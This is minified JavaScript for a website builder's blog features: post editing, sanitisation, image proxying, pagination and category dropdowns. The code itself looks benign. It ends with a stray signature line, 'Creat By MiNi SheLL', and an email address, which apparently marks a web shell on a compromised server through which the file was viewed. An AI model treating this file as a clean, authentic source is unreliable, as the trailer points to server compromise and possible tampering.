r=this;this.blogpostElements&&this.blogpostElements.forEach(function(e){var t=e.querySelector(".kv-ee-action-buttons");e.querySelector("button").removeEventListener("click",r.onEditPost),t.parentElement.removeChild(t)})}},{key:"removeAddPostButton",value:function(){this.addPostButtonContainer&&(this.addPostButtonContainer.querySelector(".kv-ee-add-post-button").removeEventListener("click",this.onAddPost),this.addPostButtonContainer.parentElement.removeChild(this.addPostButtonContainer),this.addPostButtonContainer=null)}},{key:"requestAppmarketApp",value:function(){var n=this;return new Promise(function(t,r){var e;n.app?t(n.app):(e=n.builderApi.resolveAppmarketApp(d),n.blogInitializingPromise=e.then(function(e){e?(n.instanceJwt=e&&e.instance_jwt,n.instanceId=e&&e.instance_id,e.base_url=e.url.split("?")[0],n.app=e,t(e)):r(new Error("Could not resolve a valid app."))}))})}},{key:"openDashboard",value:function(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{};this.builderApi.editor.showDashboard(d,{onClose:e.onClose,fullscreen:!0,showHeader:!1})}},{key:"diffFetchedWithCachedPosts",value:function(e){return e}},{key:"proxyImages",value:function(e,t,r){var n=this,o=document.createElement("div");return o.innerHTML=e,Array.from(o.querySelectorAll("img")).forEach(function(e){e.src=e.src?n.isPreviewMode()?e.src:n.proxyImage(e.src,t,r):null}),o.innerHTML}},{key:"proxyImage",value:function(e,t,r){t=new this.builderApi.ImageProxyHelper(this.builderApi.ImageProxyHelper.stripProxyUrl(e),t);return t.resizeToWidth(r.size),t.result()}},{key:"sanitizePost",value:function(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{};if(!e)return{};var r=function(t){for(var r,e=1;e<arguments.length;e++)r=null==arguments[e]?{}:arguments[e],e%2?o(Object(r),!0).forEach(function(e){s(t,e,r[e])}):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):o(Object(r)).forEach(function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))});return t}({},e);r.leader=this.sanitizeString(e.leader,!0),r.title=this.sanitizeString(e.title,!0);var n=!this.config.isRuntimeSite||this.isHostedBrand()||document.location.host.includes("app-gateway")?"cloudflare":"cloudflareHosted";return r.leader_image=r.leader_image?this.isPreviewMode()?r.leader_image:this.proxyImage(r.leader_image,n,t):null,e.content&&(r.content=e.content.replace(/<br\/>/gim,"<br>").replace(/&lt;br\/&gt;/gim,"<br>").replace(/<hr\/>/gim,"<hr>").replace(/&lt;hr\/&gt;/gim,"<hr>").replace(/<p> <\/p>/gim,"<br>").replace(/<p><\/p>/gim,"<br>").replace(/&#x29;/gim,"(").replace(/&#x30;/gim,")"),r.content=this.proxyImages(this.sanitizeString(r.content),n,t),(t=document.createElement("textarea")).innerHTML=r.content,r.content=t.value),r}},{key:"sanitizeString",value:function(e,t){return t?this.xssHelper.htmlEncode(e):this.xssHelper.sanitizeStyleAttribute(this.xssHelper.sanitizeAllButStyling(e))}},{key:"isHostedBrand",value:function(){var e=window._site&&window._site.partnerId||0,t=window._site&&window._site.useHostingApi||!1;return 100<=e||t}},{key:"isPreviewMode",value:function(){try{return window.self!==window.top}catch(e){return!1}}}])&&a(l.prototype,c),u&&a(l,u),f);function f(e,t){var r=this;(function(e){if(!(e instanceof f))throw new TypeError("Cannot call a class as a function")})(this),s(this,"onEditPost",function(e){e=(e.target.closest(".kv-ee-blog-post")||e.target.closest(".kv-ee-blog-post-first")||e.target.closest(".kv-ee-post")||e.target.closest(".kv-ee-post-first")).dataset.id||-1;-1!==e&&r.builderApi.editor.showDashboard(d,{route:"blog/manage/create/".concat(e),fullscreen:!0,showHeader:!1})}),s(this,"onAddPost",function(){r.builderApi.editor.showDashboard(d,{route:"create",fullscreen:!0,showHeader:!1})}),this.builderApi=e,this.config=t,this.blogpostElements=null,this.addPostButtonContainer=null,this.xssHelper=e.xssHelper}window.__features=window.__features||{},window.__features["blog-core"]=p},{}]},{},[1]);;!function r(i,o,a){function s(t,e){if(!o[t]){if(!i[t]){var n="function"==typeof require&&require;if(!e&&n)return n(t,!0);if(d)return d(t,!0);throw(n=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",n}n=o[t]={exports:{}},i[t][0].call(n.exports,function(e){return s(i[t][1][e]||e)},n,n.exports,r,i,o,a)}return o[t].exports}for(var d="function"==typeof require&&require,e=0;e<a.length;e++)s(a[e]);return s}({1:[function(e,t,n){"use strict";function r(e,t){for(var n,r=0;r<t.length;r++)(n=t[r]).enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}var i,o,a,s=(i=d,(o=[{key:"bindEvents",value:function(){this.toggleDropdown=this.toggleDropdown.bind(this),this.handleItemClick=this.handleItemClick.bind(this)}},{key:"afterRender",value:function(e,t,i){var o=this;this.dropdownElements=Array.from(t.querySelectorAll(".kv-ee-fe-dropdown-container")),this.setInitialStates(this.dropdownElements),this.dropdownElements.forEach(function(e){var t=e.getAttribute("data-id"),n=e.querySelector(".kv-ee-fe-dropdown-current-value"),r=e.querySelector(".kv-ee-fe-dropdown");o.states.hasOwnProperty(t)&&(e=-1===o.states[t]?0:o.states[t],o.setCurrentValue(t,i,e,n)),n.addEventListener("click",o.toggleDropdown),Array.from(r.querySelectorAll(".kv-ee-fe-dropdown-item")).forEach(function(e){e.addEventListener("click",function(e){return o.handleItemClick(e,n,i)})})})}},{key:"toggleDropdown",value:function(e){e=e.target.closest(".kv-ee-fe-dropdown-container");e.classList.contains("kv-ee-fe-dropdown-active")?e.classList.remove("kv-ee-fe-dropdown-active"):e.classList.add("kv-ee-fe-dropdown-active")}},{key:"handleItemClick",value:function(e,t,n){var r=e.target.closest(".kv-ee-fe-dropdown-container"),i=r.getAttribute("data-id"),e=+e.target.getAttribute("data-id");this.builderApi.events.emit("change",i,n[i][e],e),this.setCurrentValue(i,n,e,t),r.classList.remove("kv-ee-fe-dropdown-active")}},{key:"setInitialStates",value:function(e){var t=this;e.forEach(function(e){e=e.getAttribute("data-id");t.states.hasOwnProperty(e)||(t.states[e]=-1)})}},{key:"setCurrentValue",value:function(e,t,n,r){this.states.hasOwnProperty(e)&&(this.states[e]=n),t.hasOwnProperty(e)&&(n=t[e][n].label,r.innerHTML=n)}},{key:"on",value:function(e,t){this.builderApi.events.on(e,t)}}])&&r(i.prototype,o),a&&r(i,a),d);function d(e,t,n){(function(e){if(!(e instanceof d))throw new TypeError("Cannot call a class as a function")})(this),this.builderApi=e,this.config=t,this.dependencies=n,this.states={},this.bindEvents()}window.__features=window.__features||{},window.__features.dropdown=s},{}]},{},[1]);;!function n(o,a,s){function r(e,t){if(!a[e]){if(!o[e]){var i="function"==typeof require&&require;if(!t&&i)return i(e,!0);if(c)return c(e,!0);throw(i=new Error("Cannot find module '"+e+"'")).code="MODULE_NOT_FOUND",i}i=a[e]={exports:{}},o[e][0].call(i.exports,function(t){return r(o[e][1][t]||t)},i,i.exports,n,o,a,s)}return a[e].exports}for(var c="function"==typeof require&&require,t=0;t<s.length;t++)r(s[t]);return r}({1:[function(t,e,i){"use strict";function o(t){return function(t){if(Array.isArray(t))return n(t)}(t)||function(t){if("undefined"!=typeof Symbol&&Symbol.iterator in Object(t))return Array.from(t)}(t)||function(t,e){if(t){if("string"==typeof t)return n(t,e);var i=Object.prototype.toString.call(t).slice(8,-1);return"Map"===(i="Object"===i&&t.constructor?t.constructor.name:i)||"Set"===i?Array.from(t):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?n(t,e):void 0}}(t)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function n(t,e){(null==e||e>t.length)&&(e=t.length);for(var i=0,n=Array(e);i<e;i++)n[i]=t[i];return n}function a(e,t){var i,n=Object.keys(e);return Object.getOwnPropertySymbols&&(i=Object.getOwnPropertySymbols(e),t&&(i=i.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),n.push.apply(n,i)),n}function s(e){for(var i,t=1;t<arguments.length;t++)i=null==arguments[t]?{}:arguments[t],t%2?a(Object(i),!0).forEach(function(t){c(e,t,i[t])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(i)):a(Object(i)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(i,t))});return e}function r(t,e){for(var i,n=0;n<e.length;n++)(i=e[n]).enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}function c(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}var g,u,h,l=(g=d,h=[{key:"getSiteMapUrl",value:function(t,e){var i=t.url.split("?")[0],e=e("blog-detail/blog-detail");return{sitemap:"".concat(i,"/v1.0/").concat(t.instance_id,"/sitemap?urlplaceholder=_DOMAIN_").concat(window.encodeURIComponent("/".concat(e))),modified:"".concat(i,"/v1.0/").concat(t.instance_id,"/sitemap/last-modified"),exclude_pages_in_sitemap:[e]}}}],(u=[{key:"initialize",value:function(){var e,t,i=this;this.config.isThumbnail||this.config.isOnboarding?(this.hasLoadedItems=!0,this.hasItems=!1,this.rerender()):(this.hasLoadedItems=!1,this.doneLoadingCategories=!1,this.hasItems=!1,this.hasCategories=!1,this.usePagination?(e=this).blogCore.requestAppmarketApp().then(function(t){e.getPostsWithPagination(t)}):("undefined"==typeof Storage||(t=window.localStorage.getItem(this.builderApi.getSiteId()+"/blog-overview"))&&(this.posts=JSON.parse(t),this.hasLoadedItems=!0,this.hasItems=!0,this.usedLocalStorage=!0,this.rerender()),this.blogCore.requestAppmarketApp().then(function(t){i.getPosts(t)})))}},{key:"getPublishedPostCount",value:function(t){var e=this,t=this.getUrl(t,"count");window.fetch(t).then(function(t){return t.json()}).then(function(t){e.count=t.count||9}).catch(function(t){throw new Error(t)})}},{key:"getPostsWithPagination",value:function(t){var e=this;this.hasLoadedItems=!1,this.hasItems=!1,this.isFetchingPosts||(this.isFetchingPosts=!0,t=this.getUrl(t,"posts?status=published"),this.pagination=new this.builderApi.Pagination({url:t,extraQueryParams:null===this.selectedCategory?"":"&category=".concat(this.selectedCategory),offsetKey:"offset",amountKey:"size",totalKey:"total",itemsPerPage:3,itemsPerFetch:9,cache:!0,callback:this.onPostsReceived}),this.pagination.render(),window.nextBlogFeaturedPage=function(){return e.pagination.next()},window.previousBlogFeaturedPage=function(){return e.pagination.previous()})}},{key:"getAppmarketApp",value:function(){var i=this;return new Promise(function(e,t){i.app&&e(i.app),i.blogCore.requestAppmarketApp().then(function(t){i.app=t,e(t)}).catch(t)})}},{key:"rerender",value:function(){this.view.requestRender()}},{key:"getRenderModel",value:function(){var e=this,t={items:this.posts.map(function(t){return e.blogCore.sanitizePost(t,{size:640})}),error:this.error,first:this.blogCore.sanitizePost(this.posts.slice(0,1)[0],{size:640}),rest:this.posts.slice(1,this.posts.length).map(function(t){return e.blogCore.sanitizePost(t,{size:640})})};if(this.config.isThumbnail)return s(s({},this.data),{},{error:this.error,isThumbnail:this.config.isThumbnail,hasLoadedItems:this.hasLoadedItems,hasItems:this.hasItems,count:this.posts.length,dynamic:this.useDynamicLayout});t.hasLoadedItems=this.hasLoadedItems,t.hasItems=this.hasItems,t.hasLoadedCategories=this.doneLoadingCategories,t.hasCategories=this.hasCategories,t.categories=this.categories.map(function(t){return s(s({},t),{},{label:t.name})}),t.hasSelectedCategory=!!this.selectedCategory;var i=this.getCategoryById(this.selectedCategory);return i&&(t.selectedCategory=i.name),t.usePagination=this.usePagination,this.usePagination&&(t.paginationData={pages:this.pagination?Math.ceil(this.pagination.total/3):0,nextAvailable:!!this.pagination&&this.pagination.currentIndex<this.pagination.maxIndex-1,previousAvailable:!!this.pagination&&0<this.pagination.currentIndex,activeIndex:this.pagination&&this.pagination.currentIndex,showPages:!0}),t}},{key:"getCategoryById",value:function(e){return this.categories.find(function(t){return t.id===e})}},{key:"afterRender",value:function(t,e){var i=this;this.usePagination&&(this.paginationButtons=Array.from(e.querySelectorAll("[data-pagination-id]")),this.paginationButtons.forEach(function(t){t.addEventListener("click",i.onGotoPaginationPage)}),this.paginationPrevious=e.querySelector("[data-pagination-previous]"),this.paginationNext=e.querySelector("[data-pagination-next]"),this.paginationPrevious&&this.paginationPrevious.addEventListener("click",this.onPaginationPrevious),this.paginationNext&&this.paginationNext.addEventListener("click",this.onPaginationNext)),this.config.isRuntimeSite||(this.blogCore.createAddPostButton(e,0<this.posts.length),0<this.posts.length&&this.blogCore.createEditButtons(e)),this.categoryElements=Array.from(e.querySelectorAll(".kv-ee-category-item")),this.categoryElements.forEach(function(t){t.addEventListener("click",function(t){return i.onCategorySelect(t)})})}},{key:"dispose",value:function(){var e=this;this.blogCore.removeEditButtons(),this.blogCore.removeAddPostButton(),this.categoryElements&&this.categoryElements.forEach(function(t){t.removeEventListener("click",function(t){return e.onCategorySelect(t)})}),this.paginationButtons.forEach(function(t){t.removeEventListener("click",e.onGotoPaginationPage)}),this.paginationPrevious&&(this.paginationPrevious.removeEventListener("click",this.onPaginationPrevious),this.paginationNext.removeEventListener("click",this.onPaginationNext))}},{key:"getPosts",value:function(t){var i=this;this.config.isThumbnail||this.usedLocalStorage||(this.hasLoadedItems=!1,this.rerender()),this.isFetchingPosts||(t="".concat(t.base_url,"/v1.0/").concat(t.instance_id,"/blog/posts?status=published"),null!==this.selectedCategory&&(t+="&category=".concat(this.selectedCategory)),this.isFetchingPosts=!0,this.builderApi.fetch(t).then(function(t){return t.json()}).then(function(t){if(i.isFetchingPosts=!1,"Array"!==t.constructor.name)throw i.config.isThumbnail||(i.usedLocalStorage||(i.hasLoadedItems=!0),i.hasItems=!1),new Error("Could not fetch posts.");var e=t.map(function(t){return s(s({},t),{},{formattedDate:i.formatDate(t.published_on),href:"/"+i.builderApi.getPageUri("blog-detail/blog-detail")+"/"+t.id+"/"+t.slug})});i.error=null;t=i.blogCore.diffFetchedWithCachedPosts(e,i.posts,"modified_on");i.posts=e,0<t.length&&"undefined"!=typeof Storage&&window.localStorage.setItem(i.builderApi.getSiteId()+"/blog-overview",JSON.stringify(i.posts)),i.config.isThumbnail||(i.usedLocalStorage||(i.hasLoadedItems=!0),i.hasItems=0<i.posts.length),i.rerender()}).catch(function(t){i.isFetchingPosts=!1,t&&(i.config.isThumbnail||(i.usedLocalStorage||(i.hasLoadedItems=!0),i.hasItems=!1),i.error=i.builderApi.localize("editorTemplates.features.blogFeatured.couldNotLoadPosts"),i.posts=[],i.rerender())}))}},{key:"onOpenPageType",value:function(){var e=this;this.config.isThumbnail||this.getAppmarketApp().then(function(t){e.usePagination?e.getPostsWithPagination(e.app):e.getPosts(t),e.getCategories(t)})}},{key:"afterCloseDashboard",value:function(){var e=this;this.config.isThumbnail||this.getAppmarketApp().then(function(t){e.usePagination?e.getPostsWithPagination(e.app):e.getPosts(t),e.getCategories(t)})}},{key:"formatDate",value:function(t){t=new Date(t);return new Date(t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate(),t.getUTCHours(),t.getUTCMinutes(),t.getUTCSeconds()).toLocaleDateString(window.navigator.language,{year:"numeric",month:"long",day:"numeric"})}}])&&r(g.prototype,u),h&&r(g,h),d);function d(t,e,i){var n=this;(function(t){if(!(t instanceof d))throw new TypeError("Cannot call a class as a function")})(this),c(this,"getUrl",function(t,e){return"".concat(t.base_url,"/v1.0/").concat(t.instance_id,"/blog/").concat(e)}),c(this,"formatPost",function(t){return s(s({},t),{},{formattedDate:n.formatDate(t.published_on),href:"/"+n.builderApi.getPageUri("blog-detail/blog-detail")+"/"+t.id+"/"+t.slug})}),c(this,"onPostsReceived",function(t){n.isFetchingPosts=!1,n.hasItems=0<t.length,n.hasLoadedItems=!0,n.posts=t.map(n.formatPost),n.pagination.updateCache(n.builderApi.getSiteId()+"/blog-overview-paginated"),n.rerender()}),c(this,"onCategorySelect",function(t,e){n.usePagination&&window.localStorage.setItem(n.builderApi.getSiteId()+"/blog-overview-paginated",JSON.stringify([]));var i=e||+t.target.getAttribute("data-id");-1===i&&null===n.selectedCategory||i===n.selectedCategory||(n.getCategoryById(i).active&&-1!==i?(n.categories=n.categories.map(function(t){return delete t.active,t}),n.selectedCategory=null):(n.selectedCategory=-1===i?null:i,n.categories=n.categories.map(function(t){return t.id===i?s(s({},t),{},{active:!0}):(delete t.active,t)})),n.usePagination?n.getPostsWithPagination(n.app):n.getPosts(n.app))}),c(this,"getCategories",function(t){n.isGettingCategories||(n.isGettingCategories=!0,t="".concat(t.base_url,"/v1.0/").concat(t.instance_id,"/categories"),n.builderApi.fetch(t).then(function(t){return t.json()}).then(function(t){n.doneLoadingCategories=!0,n.hasCategories=0<t.length,n.categories=[{id:-1,name:n.builderApi.localize("editorTemplates.features.blogOverview.all"),active:!0}].concat(o(t)),n.rerender(),n.isGettingCategories=!1}).catch(function(){n.doneLoadingCategories=!0,n.categories=[],n.rerender(),n.isGettingCategories=!1}))}),c(this,"onGotoPaginationPage",function(e){var t=e.target.parentElement;Array.from(t.querySelectorAll("[data-pagination-id]")).forEach(function(t){t===e.target?t.classList.add("kv-ee-pagination-active"):t.classList.remove("kv-ee-pagination-active")}),n.pagination.goto(+e.target.getAttribute("data-pagination-id"))}),c(this,"onPaginationNext",function(){n.pagination.next()}),c(this,"onPaginationPrevious",function(){n.pagination.previous()}),c(this,"openManageBlog",function(){n.blogCore.openDashboard()}),this.blogCore=i["blog-core"],this.builderApi=t,this.config=e,this.urlHelper=t.urlHelper,this.dropdownFeature=i.dropdown,this.dropdownFeature.on("change",function(t,e){n.onCategorySelect(null,e.id)}),this.isFetchingCategories=!1,this.isFetchingPosts=!1,this.view=e.view,this.posts=[],this.categories=[],this.error=null,this.usedLocalStorage=!1,this.selectedCategory=null,this.pagination=null,this.usePagination=!0,this.paginationButtons=[],this.initialize(this.app)}window.__features=window.__features||{},window.__features["blog-overview"]=l},{}]},{},[1]);; window._featureSettings={"store-core":{"settings":{"isGlobal":true}},"navigation":{"settings":{}},"blog-core":{"settings":{}},"translations":{"editorTemplates.features.blog.blogManagement":"Blog management","editorTemplates.features.blogOverview.featured":"Featured","editorTemplates.features.blogOverview.readMore":"Read more","editorTemplates.features.blogOverview.postTitle":"Demo blog post","editorTemplates.features.blogOverview.postLeader":"This is a short demo introduction.","editorTemplates.features.blogOverview.postDate":"1 Jan 2019","editorTemplates.features.blogOverview.couldNotLoadPosts":"Could not load blog posts.","editorTemplates.features.blogOverview.all":"All"},"dropdown":{"settings":{"dependingGlobalFeatures":[]}},"blog-overview":{"settings":{"dependingGlobalFeatures":["blog-core","dropdown"]}}};

Creat By MiNi SheLL
Email: devilkiller@gmail.com